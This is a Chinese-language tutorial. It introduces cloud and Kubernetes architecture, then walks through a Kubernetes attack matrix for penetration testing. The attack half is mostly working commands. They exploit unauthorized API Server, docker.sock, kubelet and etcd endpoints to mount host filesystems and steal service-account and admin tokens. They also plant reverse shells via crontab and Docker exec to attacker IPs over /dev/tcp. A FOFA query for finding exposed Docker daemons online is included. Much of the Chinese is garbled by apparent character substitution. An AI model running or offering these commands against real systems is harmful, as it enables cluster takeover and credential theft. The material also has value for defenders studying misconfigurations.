一、云
云的定义看似模糊,但本质上,它是一个用于描述全球服务器网络的术语,每个服务器都有一个独特的功能。云不是一个物理实体,而是一个庞大的全球远程服务器网络,它们连接在一起,旨在作为单一的生态系统运行。这些服务器设计用于存储和管理数据、运行应用步伐,或者交付内容/服务(如视频短片、Web 邮件、办公室生产力软件或交际媒体)。不是从当地或个人计算机访问文件和数据,而是通过任何支持 Internet 的设备在线访问 - 这些信息在必要时随时随地可用。
企业采用 4 种不同的方法摆设云资源。存在一个公有云,它通过 Internet 共享资源并向公众提供服务;一个私有云,它不进行共享且经由通常当地托管的私有内部网络提供服务;一个混合云,它根据其目的在公有云和私有云之间共享服务;以及一个社区云,它仅在组织之间(例如与政府机构)共享资源。
《云是什么- 定义 - Microsoft Azure》
二、作甚k8s
k8s即Kubernetes。
其为google开发来被用于容器管理的开源应用步伐,可帮助创建和管理应用步伐的容器化。
用一个的例子来描述:”当捏造化容器Docker有太多要管理的时间,手动管理就会很贫苦,于是我们便可以通过k8s来简化我们的管理”
0x00 K8S 架构简述
我们在上文已经知道,K8S是用于管理捏造化容器的一个应用系统,在这小节中会着重报告K8S的架构、实现原理。
下图为K8S架构的概览:
kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
k8s主要由较少的master节点以及其对应的多个Node节点组成。master用于对Node节点进行控制管理,一个k8s集群中至少要有一台master节点。
Master节点中包含很多的组件,主要为如下
etcd :
它存储集群中每个节点可以使用的配置信息。它是一个高可用性键值存储,可以在多个节点之间分布。只有Kubernetes API服务器可以访问它,由于它可能具有一些敏感信息。这是一个分布式键值存储,所有人都可以访问。 简而言之:存储节点信息
API server :
Kubernetes是一个API服务器,它使用API在集群上提供所有操作。API服务器实现了一个接口,这意味着不同的工具和库可以轻松地与其进行通讯。Kubeconfig是与可用于通讯的服务器端工具一起的软件包。它公开Kubernetes API 。简而言之:读取与剖析哀求指令的中枢
Controller Manage :
该组件负责调节聚集状态并执行任务的大多数网络器。通常,可以将其视为在非终止循环中运行的守护步伐,该守护步伐负责网络信息并将其发送到API服务器。它致力于获取聚集的共享状态,然后进行更改以使服务器的当前状态达到所需状态。关键控制器是复制控制器,端点控制器,名称空间控制器和服务帐户控制器。控制器管理器运行不同类型的控制器来处置惩罚节点,端点等。 简而言之:维护k8s资源
Scheduler :
这是Kubernetes master的关键组件之一。它是主服务器中负责分配工作负载的服务。它负责跟踪聚集节点上工作负载的使用率,然后将工作负载放在可用资源上并继承该工作负载。换句话说,这是负责将Pod分配给可用节点的机制。调理步伐负责工作负载使用率,并将Pod分配给新节点。 简而言之:负载均衡调理器
Node节点也包含了很多组件,主要如下
Docker :
Docker引擎,运行着容器的底子环境
kubelet :
在每个node节点都存在一份,主要来执行关于资源操作的指令,负责pod的维护。
kube-proxy :
署理服务,用于负载均衡,在多个pod之间做负载均衡
fluentd :
日志网络服务
pod :
pod是k8s的最小服务单元,pod内部才是容器,k8s通过操作pod来操作容器。一个Node节点可以有多个Pod
Pod可以说是Node节点中最核心的部分,Pod也是一个容器,它是一个”用来封装容器的容器”。一个Pod中往往会装载多个容器,这些容器共用一个捏造环境,共享着网络和存储等资源。
这些容器的资源共享以及相互交互都是由pod里面的pause容器来完成的,每初始化一个pod时便会生成一个pause容器。
0x01 K8S工作流程
用户端命令下发通常流程如下:
- kubectl向apiserver发送摆设哀求(例如使用 kubectl create -f deployment.yml)
- apiserver将 Deployment 持久化到etcd;etcd与apiserver进行一次http通讯。
- controller manager通过watch api监听 apiserver ,deployment controller看到了一个新创建的deplayment对象更后,将其从队列中拉出,根据deployment的描述创建一个ReplicaSet并将 ReplicaSet 对象返回apiserver并持久化回etcd。
- 接着scheduler调理器看到未调理的pod对象,根据调理规则选择一个可调理的节点,加载到pod描述中nodeName字段,并将pod对象返回apiserver并写入etcd。
- kubelet在看到有pod对象中nodeName字段属于本节点,将其从队列中拉出,通过容器运行时创建pod中描述的容器。
0x02 搭建K8S
见《K8S环境搭建.md》
0x03 k8S的底子概念
Kubernetes教程 | Kuboard(非常好的中文教程)
学习 Kubernetes 底子知识 | Kubernetes(k8s官方教程,有交互式操作界面,轻微有点不好的是有些地方没有中文)
以下内容来自https://kuboard.cn/learning/k8s-basics/kubernetes-basics.html
摆设(Deployment)
Worker节点(即Node)是VM(捏造机)或物理计算机,充当k8s集群中的工作计算机
Deployment 译名为 摆设。在k8s中,通过发布 Deployment,可以创建应用步伐 (docker image) 的实例 (docker container),这个实例会被包含在称为 Pod 的概念中,Pod 是 k8s 中最小可管理单元。
在 k8s 集群中发布 Deployment 后,Deployment 将指示 k8s 如何创建和更新应用步伐的实例,master 节点将应用步伐实例调理到集群中的详细的节点上。
创建应用步伐实例后,Kubernetes Deployment Controller 会持续监控这些实例。如果运行实例的 worker 节点关机或被删除,则 Kubernetes Deployment Controller 将在聚会合资源最优的另一个 worker 节点上重新创建一个新的实例。这提供了一种自我修复机制来解决机器故障或维护问题。
在容器编排之前的期间,各种安装脚本通常用于启动应用步伐,但是不可以或许使应用步伐从机器故障中恢复。通过创建应用步伐实例并确保它们在集群节点中的运行实例个数,Kubernetes Deployment 提供了一种完全不同的方式来管理应用步伐。
相干命令:
kubectl 是 k8s 的客户端工具,可以使用命令行管理集群
kubectl备忘录:kubectl 备忘单 | Kubernetes
- # 查看 Deployment
- kubectl get deployments
- # 查看 Pod
- kubectl get pods
- #根据yaml文件部署
- kubectl apply -f nginx-deployment.yaml
复制代码 一个yaml文件差不多就长这样: (nginx-deployment.yaml)
- apiVersion: apps/v1 #与k8s集群版本有关,使用 kubectl api-versions 即可查看当前集群支持的版本kind: Deployment #该配置的类型,我们使用的是 Deployment
- metadata: #译名为元数据,即 Deployment 的一些基本属性和信息
- name: nginx-deployment #Deployment 的名称
- labels: #标签,可以灵活定位一个或多个资源,其中key和value均可自定义,可以定义多组,目前不需要理解
- app: nginx #为该Deployment设置key为app,value为nginx的标签
- spec: #这是关于该Deployment的描述,可以理解为你期待该Deployment在k8s中如何使用 replicas: 1 #使用该Deployment创建一个应用程序实例
- selector: #标签选择器,与上面的标签共同作用,目前不需要理解
- matchLabels: #选择包含标签app:nginx的资源
- app: nginx
- template: #这是选择或创建的Pod的模板
- metadata: #Pod的元数据
- labels: #Pod的标签,上面的selector即选择包含标签app:nginx的Pod
- app: nginx
- spec: #期望Pod实现的功能(即在pod中部署)
- containers: #生成container,与docker中的container是同一种
- - name: nginx #container的名称
- image: nginx:1.7.9 #使用镜像nginx:1.7.9创建container,该container默认80端口可访问
复制代码 POD与Node
Pod 容器组 是一个k8s中一个抽象的概念,用于存放一组 container(可包含一个或多个 container 容器,即图上正方体),以及这些 container (容器)的一些共享资源。这些资源包括:
- 共享存储,称为卷(Volumes),即图上紫色圆柱
- 网络,每个 Pod(容器组)在集群中有个唯一的 IP,pod(容器组)中的 container(容器)共享该IP地址
- container(容器)的根本信息,例如容器的镜像版本,对外袒露的端口等
POD是集群上最底子的单元
下图中的一个 Node(节点)上含有4个 Pod(容器组)
Pod(容器组)总是在 Node(节点) 上运行。Node(节点)是 kubernetes 集群中的计算机,可以是捏造机或物理机。每个 Node(节点)都由 master 管理。一个 Node(节点)可以有多个Pod(容器组),kubernetes master 会根据每个 Node(节点)上可用资源的情况,主动调理 Pod(容器组)到最佳的 Node(节点)上。
一个Node节点的状态大致有以下的东西
- Addresses :地址
- Conditions :状况(conditions 字段描述了所有 Running 节点的状态)
- Capacity and Allocatable :容量与可分配,描述节点上的可用资源:CPU、内存和可以调理到节点上的 Pod 的个数上限。
- Info :关于节点的一般性信息,例如内核版本、Kubernetes 版本(kubelet 和 kube-proxy 版本)、 Docker 版本(如果使用了)和操作系统名称。这些信息由 kubelet 从节点上搜集而来。
- HostName:由节点的内核设置。可以通过 kubelet 的 —hostname-override 参数覆盖。
- ExternalIP:通常是节点的可外部路由(从集群外可访问)的 IP 地址。
- InternalIP:通常是节点的仅可在集群内部路由的 IP 地址。
- Ready 如节点是健康的并已经准备好接收 Pod 则为 True;False 表现节点不健康而且不能接收 Pod;Unknown 表现节点控制器在最近 node-monitor-grace-period 期间(默认 40 秒)没有收到节点的消息
- DiskPressure为True则表现节点的空闲空间不敷以用于添加新 Pod, 否则为 False
- MemoryPressure为True则表现节点存在内存压力,即节点内存可用量低,否则为 False
- PIDPressure为True则表现节点存在历程压力,即节点上历程过多;否则为 False
- NetworkUnavailable为True则表现节点网络配置不正确;否则为 False
相干命令:
- #获取类型为Pod的资源列表
- kubectl get pods
- #获取类型为Node的资源列表
- kubectl get nodes
- # kubectl describe 资源类型 资源名称
- #查看名称为nginx-XXXXXX的Pod的信息
- kubectl describe pod nginx-XXXXXX
- #查看名称为nginx的Deployment的信息
- kubectl describe deployment nginx
- #查看名称为nginx-pod-XXXXXXX的Pod内的容器打印的日志
- kubectl logs -f podname
- #在Pod中运行命令
- kubectl exec -it nginx-pod-xxxxxx /bin/bash
复制代码 服务(Service)
https://kuboard.cn/learning/k8s-basics/expose.html#kubernetes-service-服务-概述
通过以上内容我们知道,应用步伐所在的Pod是一直变动着的,而每个Pod的ip又不一样,但是对于前端用户来说,应用步伐的访问地址应该是唯一的才行。
因此k8s提供了一个机制用来为前端屏蔽后端Pod变动带来的IP变动,这便是Service。
Service为一系列有相同特性的Pod(一个应用的Pod在不绝变换,但是岂论怎么变换这些Pod都有相同的特性)定义了一个同一的访问方式,
Service是通过标签选择器(LabelSelector)来识别有哪些Pod有相同特性(带有特定Lable标签的POD,Lable可以由用户设置,标签存在于所有K8S对象上并不仅仅局限于Pod) 可以编成一个容器组的。
Service有三种选项袒露应用步伐的入口,可以通过设置应用步伐配置文件中的Service 项的spec.type 值来调整:
- ClusterIP(默认)
在聚会合的内部IP上公布服务,这种方式的 Service(服务)只在集群内部可以访问到
- NodePort
使用 NAT 在集群中每个的同一端口上公布服务。这种方式下,可以通过访问集群中恣意节点+端口号的方式访 问服务 <NodeIP>:<NodePort>。此时 ClusterIP 的访问方式仍旧可用。
在云环境中(必要云供应商可以支持)创建一个集群外部的负载均衡器,并为使用该负载均衡器的 IP 地址作为 服务的访问地址。此时 ClusterIP 和 NodePort 的访问方式仍旧可用。
下图中有两个服务Service A(黄色虚线)和Service B(蓝色虚线) Service A 将哀求转发到 IP 为 10.10.10.1 的Pod上, Service B 将哀求转发到 IP 为 10.10.10.2、10.10.10.3、10.10.10.4 的Pod上。
Service 将外部哀求路由到一组 Pod 中,它提供了一个抽象层,使得 Kubernetes 可以在不影响服务调用者的情况下,动态调理容器组(在容器组失效后重新创建容器组,增长或者减少同一个 Deployment 对应容器组的数量等)。
在每个节点上都有Kube-proxy服务,Service使用其将链接路由到Pod
伸缩(Scaling)应用步伐
可以通过更改deployment配置文件中的replicas项来设置开启的POD数量
在前面,我们创建了一个 Deployment,然后通过 服务提供访问 Pod 的方式。我们发布的 Deployment 只创建了一个 Pod 来运行我们的应用步伐。当流量增多导致应用步伐POD负载加重后,我们必要对应用步伐进行伸缩操作,增长POD数量来减轻负担,访问流量将会通过负载均衡在多个POD之间转发。
伸缩 的实现可以通过更改 nginx-deployment.yaml 文件中摆设的 replicas(副本数)来完成
- spec:
- replicas: 2 #使用该Deployment创建两个应用程序实例
复制代码 执行滚动更新(Rolling Update)
当我们想对已经摆设的步伐进行升级更新,但又不想让步伐克制,就可以使用滚动更新来实现。
滚动更新通过使用新版本的POD逐步替代旧版本POD来实现零停机更新
滚动更新是K8S默认的更新方式
0x04 k8s用户
Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。
- service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 主动创建,或者通过 API 调用手动创建。Service account 关联了一套凭据,存储在 Secret,这些凭据同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。(service account的使用见k8s安全部分)
- Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、乃至是包 含有用户名和暗码列表的文件等。Kubernetes中不存在表现此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。
0x05 k8s访问控制过程(安全机制)
详细内容参考笔记《k8s访问控制过程(安全机制).md》
k8s 中所有的 api 哀求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。主要实现的功能就是api 的认证 + 鉴权以及准入控制。
三种机制:
- 认证:Authentication,即身份认证。检查用户是否为正当用户,如客户端证书、暗码、bootstrap tookens和JWT tokens等方式。
- 鉴权:Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
- 准入控制:Admission Control。哀求的末了一个步骤,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安满是否合规等。一般使用admission webhooks来实现
注意:认证授权过程只存在HTTPS情势的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权
k8s认证
X509 client certs
客户端证书认证,X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。
user 生成 kubeconfig就是X509 client certs方式。
Service Account Tokens
由于基于x509的认证方式相对比较复杂,不实用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。一个 pod 与一个服务账户相干联,该服务账户的凭据(token)被放入该pod中每个容器的文件系统树中,位于/var/run/secrets/kubernetes.io/serviceaccount/token
service account 主要包含了三个内容:namespace、token 和 ca
- namespace: 指定了 pod 所在的 namespace
- token: token 用作身份验证
- ca: ca 用于验证 apiserver 的证书
k8s鉴权
K8S 目前支持了如下四种授权机制:
详细到授权模式实在有六种:
- 基于属性的访问控制(ABAC)模式允许你 使用当地文件配置战略。
- 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储战略。
- WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
- node节点鉴权是一种特别用途的鉴权模式,专门对 kubelet 发出的 API 哀求执行鉴权。
- AlwaysDeny阻止所有哀求。仅将此标志用于测试。
- AlwaysAllow允许所有哀求。仅在你不必要 API 哀求 的鉴权时才使用此标志。
可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝哀求。
从1.6版本起,Kubernetes 默认启用RBAC访问控制战略。从1.8开始,RBAC已作为稳固的功能。
三、K8S攻击矩阵
CDK是一款为容器环境定制的渗出测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化使用方式,插件化管理。
https://github.com/cdk-team/CDK
下图是K8S的一些攻击矩阵
本文就围绕着这个框架,叙述一些有用的攻击手法吧
0x00 k8s环境中的信息网络
信息网络与我们的攻击场景或者说进入的内网的出发点分不开。一般来说内网不会完全基于容器技术进行构建。所以出发点一般可以分为权限受限的容器和物理主机内网。
在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico
主要存在4种类型的通讯:
- 同一Pod内的容器间通讯
- 各Pod相互间通讯
- Pod与Service间的通讯
- 集群外部的流量与Service间的通讯
当我们出发点是一个在k8s集群内部权限受限的容器时,和通例内网渗出区别不大,上传端口扫描工具探测即可。
k8s常用端口
在k8s环境中,内网探测可以高度关注的端口: (各端口的渗出在下面会睁开)
- kube-apiserver: 6443, 8080
- kubectl proxy: 8080, 8081
- kubelet: 10250, 10255, 4149
- dashboard: 30000
- docker api: 2375
- etcd: 2379, 2380
- kube-controller-manager: 10252
- kube-proxy: 10256, 31442
- kube-scheduler: 10251
- weave: 6781, 6782, 6783
- kubeflow-dashboard: 8080
复制代码 0x01 初始访问
1、云账号AK泄露
在如今的云的大环境下,很多业务代码想要与云服务进行通讯,就必要通过accesskey这个东西进行鉴权,鉴权通过后才气与云服务进行通讯。
普通来讲,人想要访问一个服务,往往必要提供暗码来进行身份验证;而代码想要访问一个云服务API,则必要提供accesskey来进行身份验证。
如果accesskey泄露了,我们便可以使用这个accesskey来与云服务通讯,反弹个云主机的shell返来作为入口点逐步往内打。
下面文章是关于云原生安全中accesskey安全更加详细的论述,阅读后可以对accesskey的概念有更深入的了解。
由access key泄露浅谈云安全 - FreeBuf网络安全行业门户
记一次阿里云主机泄露Access Key到Getshell - FreeBuf网络安全行业门户
2、恶意镜像
在docker中,容器的建立依赖于镜像,如果pull得到的镜像是一个恶意镜像,或者pull得到的镜像自己就存在安全漏洞,便会带来安全风险
下图便是dockerhub上摆设挖矿软件的恶意镜像,它会从github上下载恶意挖矿软件进行挖矿
3、API Server未授权(8080,6443)
属于是K8S中的经典漏洞了
回首一下API Server的作用,它在集群中被用于提供API来控制集群内部,如果我们能控制API Server,就意味着我们可以通过它使用kubectl创建Pod并使用磁盘挂载技术获取Node节点控制权(关于磁盘挂载获取节点shell的技术在背面的小节中再进行详细论述)。
API Server可以在两个端口上提供了对外服务:8080(insecure-port,非安全端口)和6443(secure-port,安全端口),此中8080端口提供HTTP服务且无需身份认证,6443端口提供HTTPS服务且支持身份认证(8080和6443端口并不是固定的,是通过配置文件来控制的)。
insecure-port 开启
API Server在8080端口上开放的服务应该是用于测试,但如果其在生存环境中被袒露出来,攻击者便可以使用此端口进行对集群的攻击。
但是使用API Server的8080端口进行未授权活动的前提条件略显苛刻(配置失当+版本较低),8080端口服务是默认不启动的,但如果用户在 /etc/kubernets/manifests/kube-apiserver.yaml 中有 --insecure-port=8080配置项,那就启动了非安全端口,有了安全风险。
注:1.20版本后该选项已无效化
环境前提:
- step1:进入cd /etc/kubernetes/manifests/
- step2: 修改api-kube.conf
- 添加- -–insecure-port=8080
- 添加- -–insecure-bind-address=0.0.0.0
- Kubelet 会监听该文件的变化,当您修改了 /etc/kubernetes/manifests/kube-apiserver.yaml 文件之后,kubelet 将自动终止原有的 kube-apiserver-{nodename} 的 Pod,并自动创建一个使用了新配置参数的 Pod 作为替代
复制代码
重启服务
- systemctl daemon-reload
- systemctl restart kubelet
复制代码 在实际环境中,由于8080端口相对比较常见,导致在内部排查经常忽略这个风险点。
使用
环境信息:
一个集群包含三个节点,此中包括一个控制节点和两个工作节点
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻击机kali
直接访问 8080 端口会返回可用的 API 列表:
使用kubectl可以指定IP和端口调用存在未授权漏洞的API Server。
如果没有kubectl,必要安装kubectl,安装可以参考官网文档:
- 在 Linux 上安装 kubectl
- 在 macOS 上安装 kubectl
- 在 Windows 上安装 kubectl
使用kubectl获取集群信息:
- kubectl -s ip:port get nodes
复制代码
注:如果你的kubectl版本比服务器的高,会出现错误,必要把kubectl的版本降低.
接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录,内容如下:
- apiVersion: v1
- kind: Pod
- metadata:
- name: test
- spec:
- containers:
- - image: nginx
- name: test-container
- volumeMounts:
- - mountPath: /mnt
- name: test-volume
- volumes:
- - name: test-volume
- hostPath:
- path: /
复制代码 然后使用 kubectl 创建容器,这个时间我们发现是无法指定在哪个节点上创建pod。
- kubectl -s 192.168.11.152:8080 create -f test.yaml
- kubectl -s 192.168.11.152:8080 --namespace=default exec -it test bash
复制代码 写入反弹 shell 的定时任务
- echo -e "* * * * * root bash -i >& /dev/tcp/192.168.11.128/4444 0>&1\n" >> /mnt/etc/crontab
复制代码 稍等一会获得node02节点权限:
或者也可以通过写公私钥的方式控制宿主机。
如果apiserver配置了dashboard的话,可以直接通过ui界面创建pod。
secure-port 配置错误
若我们不带任何凭据的访问 API server的 secure-port端口,默认会被服务器标记为system:anonymous用户。
一般来说system:anonymous用户权限是很低的,但是如果运维职员管理失当,把system:anonymous用户绑定到了cluster-admin用户组,那么就意味着secure-port允许匿名用户以管理员权限向集群下达命令。(也就是secure-port变成某种意义上的insecure-port了)
使用
方法一
- kubectl -s https://192.168.111.20:6443/ --insecure-skip-tls-verify=true get nodes
- #(192.168.111.20:6443 是master节点上apiserver的secure-port)然后提示输入账户密码,随便乱输就行
复制代码 正常情况应该是这样
但如果secure-port 配置失当出现了未授权,就会这样
方法二
使用cdk工具通过"system:anonymous"匿名账号实验登录
- ./cdk kcurl anonymous get "https://192.168.11.152:6443/api/v1/nodes"
复制代码
创建特权容器:
之后的攻击方式和上面是一样的
4、k8s configfile 泄露
k8s configfile配置文件中可能会有api-server登岸凭据等敏感信息,如果获取到了集群configfile内容(如泄露在github),将会对集群内部安全造成巨大影响。
这里引用阿里云社区的一张图
5、容器内部应用漏洞入侵
顾名思义,容器内部应用就有问题(比如内部应用是tomcat,且有RCE漏洞),从而就会导致黑客获取Pod shell,拿到入口点
6、docker.sock 使用
Docker以server-client的情势工作,服务端叫Docker daemon,客户端叫docker client。
Docker daemon想调用docker指令,就必要通过docker.sock这个文件向docker client进行通讯。换句话说,Docker daemon通过docker.sock这个文件去管理docker容器(如创建容器,容器内执行命令,查询容器状态等)。
同时,Docker daemon也可以通过配置将docker.sock袒露在端口上,一般情况下2375端口用于未认证的HTTP通讯,2376用于可信的HTTPS通讯。
公网袒露(2375)(Docker Daemon)
如果docker daemon 2375端口袒露在了公网上,那么便可以直接使用该端口控制docker容器,并通过新建容器配合磁盘挂载技术获取宿主机权限。
fofa搜索
- server="Docker" && port="2375"
复制代码 可以发现有很多袒露在公网的docker.sock,
我们选一个来试试水
可以发现是乐成的调用了API查询了容器状态
然后我们可以通过如下指令,在指定容器内部执行命令
- curl -X POST "http://ip:2375/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
复制代码 获取到一个id
然后哀求这个id,执行此命令
- curl -X POST "http://ip:2375/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码 就像这样:(图片引用自freebuf)
直接使用现成的docker.sock
如果我们入侵了一个docker容器,这个docker容器里面有docker.sock(常用路径/var/run/docker.sock),那么就可以直接使用此文件控制docker daemon。
把上一小节的命令改改就行,加一个—unix-socket参数。
- curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/containers/{container_id}/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/xxxx/1234 0>&1"]}'
- curl -s --unix-socket /var/run/docker.sock -X POST "http://docker_daemon_ip/exec/{id}/start" -H "Content-Type: application/json" --data-binary "{}"
复制代码 一般来说docker.sock是存在于docker daemon服务端的,但如果开发职员想在docker容器里运行docker命令,就必要把宿主机的docker.sock挂载到容器内部了,这就给了我们docker逃逸的可乘之机。
实战案例
Docker Daemon未授权访问的检测与使用:
- #探测是否访问未授权访问
- curl http://192.168.238.129:2375/info
- docker -H tcp://192.168.238.129:2375 info
- #推荐使用这种方式,操作方便。
- export DOCKER_HOST="tcp://192.168.238.129:2375"
复制代码 Docker Daemon未授权实战案例:
7、kubelet 未授权(10250/10255)
危害:
- 可以直接控制该node下的所有pod
- 检索寻找特权容器,获取 Token
- 如果可以或许从pod获取高权限的token,则可以直接接管集群。
kubelet和kubectl的区别?
kubelet是在Node上用于管理本机Pod的,kubectl是用于管理集群的。kubectl向集群下达指令,Node上的kubelet收到指令后以此来管理本机Pod。
Kubelet API 一般监听在2个端口:10250、10255。此中,10250端口是可读写的,10255是一个只读端口。
kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml
我们重点关注配置文件中的这两个选项:第一个选项用于设置kubelet api能否被匿名访问,第二个选项用于设置kubelet api访问是否必要经过Api server进行授权(这样即使匿名⽤户可以或许访问也不具备任何权限)。
在默认情况下,kubelet配置文件就如上图所示,我们直接访问kubelet对应API端口会表现认证不通过
我们将配置文件中,authentication-anonymous-enabled改为true,authorization-mode改为AlwaysAllow,再使用命令systemctl restart kubelet 重启kubelet,那么就可以实现kubelet未授权访问
关于authorization-mode还有以下的配置:
- --authorization-mode=ABAC 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
- --authorization-mode=RBAC 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
- --authorization-mode=Webhook WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
- --authorization-mode=Node 节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
- --authorization-mode=AlwaysDeny 该标志阻止所有请求。仅将此标志用于测试。
- --authorization-mode=AlwaysAllow 此标志允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。
复制代码 在我们发现kubelet未授权后,可以进行以下操作拿到入口点
执行Pod内命令
如果有kubelet未授权,那就可以用以下命令在Pod内执行命令
- curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
复制代码 此中的参数可以从https://node_ip:10250/pods 中获取
- metadata.namespace 下的值为 namespace
- metadata.name下的值为 pod_name
- spec.containers下的 name 值为 container_name
可以直接回显命令结果,很方便
获取容器内service account凭据
如果能在Pod内执行命令,那么就可以获取Pod里service account的凭据,使用Pod上的service account凭据可以用来模拟Pod上的服务账户进行操作,详细使用方法见下面的小节:[使用Service Account连接API Server执行指令](#使用Service Account连接API Server执行指令)
使用示例
环境信息:
一个集群包含三个节点,此中包括一个控制节点和两个工作节点
- K8s-master 192.168.11.152
- K8s-node1 192.168.11.153
- K8s-node2 192.168.11.160
攻击机kali
访问https://192.168.11.160:10250/pods,出现如下数据表现可以使用:
想要在容器里执行命令的话,我们必要首先确定namespace、pod_name、container_name这几个参数来确认容器的位置。
- metadata.namespace 下的值为 namespace
- metadata.name下的值为 pod_name
- spec.containers下的 name 值为 container_name
这里可以通过检索securityContext字段快速找到特权容器
在对应的容器里执行命令,获取 Token,该token可用于Kubernetes API认证,Kubernetes默认使用RBAC鉴权(当使用kubectl命令时实在是底层通过证书认证的方式调用Kubernetes API)
token 默认生存在pod 里的/var/run/secrets/kubernetes.io/serviceaccount/token
- curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
复制代码
如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限
- kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods
复制代码
接下来便是通过创建pod来挂载目录,然后用crontab来获得shell了 。
8、etcd 未授权(2379)
etcd是k8s集群中的数据库组件,默认监听在2379端口,默认通过证书认证,主要存放节点的信息,如一些token和证书。如果2379存在未授权,那么就可以通过etcd查询集群内管理员的token,然后用这个token访问api server接管集群。
etcd有v2和v3两个版本,k8s用的是v3版本,所以我们在访问etcd的时间必要用命令ETCDCTL_API=3来指定etcd版本。
我们想要使用etcd未授权,必要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它
Releases · etcd-io/etcd · GitHub
“在启动etcd时,如果没有指定 –client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接袒露给外部黑客”——爱奇艺安全应急响应中央
使用
下载etcd:Releases · etcd-io/etcd · GitHub
解压后在命令行中进入etcd目录下。
etcdctl api版本切换:
- export ETCDCTL_API=2
- export ETCDCTL_API=3
复制代码 探测是否存在未授权访问的Client API
- etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only
复制代码 如果我们在没有证书文件的前提下直接访问2375端口,是调用不了etcd应用的,会提示X509证书错误。
我们必要将以下文件参加环境变量(ca,key,cert)才气访问(如果有未授权,那么不消带证书都能访问)
- export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
- export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
- export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
复制代码 或者直接执行:
- etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
复制代码 查询管理员token
我们可以直接在etcd里查询管理员的token,然后使用该token配合kubectl指令接管集群。
- etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/
复制代码
如果查询结果有敏感账户,我们便可以去获取他的token
- etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712
复制代码
拿到token以后,用kubectl接管集群
- kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
- kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods
复制代码 也可以实验dump etcd数据库,然后去找敏感信息
- ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only
复制代码 如果服务器启用了https,必要加上两个参数忽略证书校验 --insecure-transport --insecure-skip-tls-verify
- ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only
复制代码 9、私有镜像库袒露
举个例子,如果一个企业它的很多云上应用都是用的自建的私有镜像搭建的,有一天它私有镜像泄露出来了,我们就可以通过审计等手段去挖掘私有镜像中的漏洞,造成供应链打击。
10、Dashboard面板爆破
dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard我们可以控制整个集群。
- 用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录进入dashboard.
- 为Kubernetes-dashboard绑定cluster-admin(cluster-admin拥有管理集群的最高权限).
使用
默认配置登岸是必要输入 Token 的且不能跳过
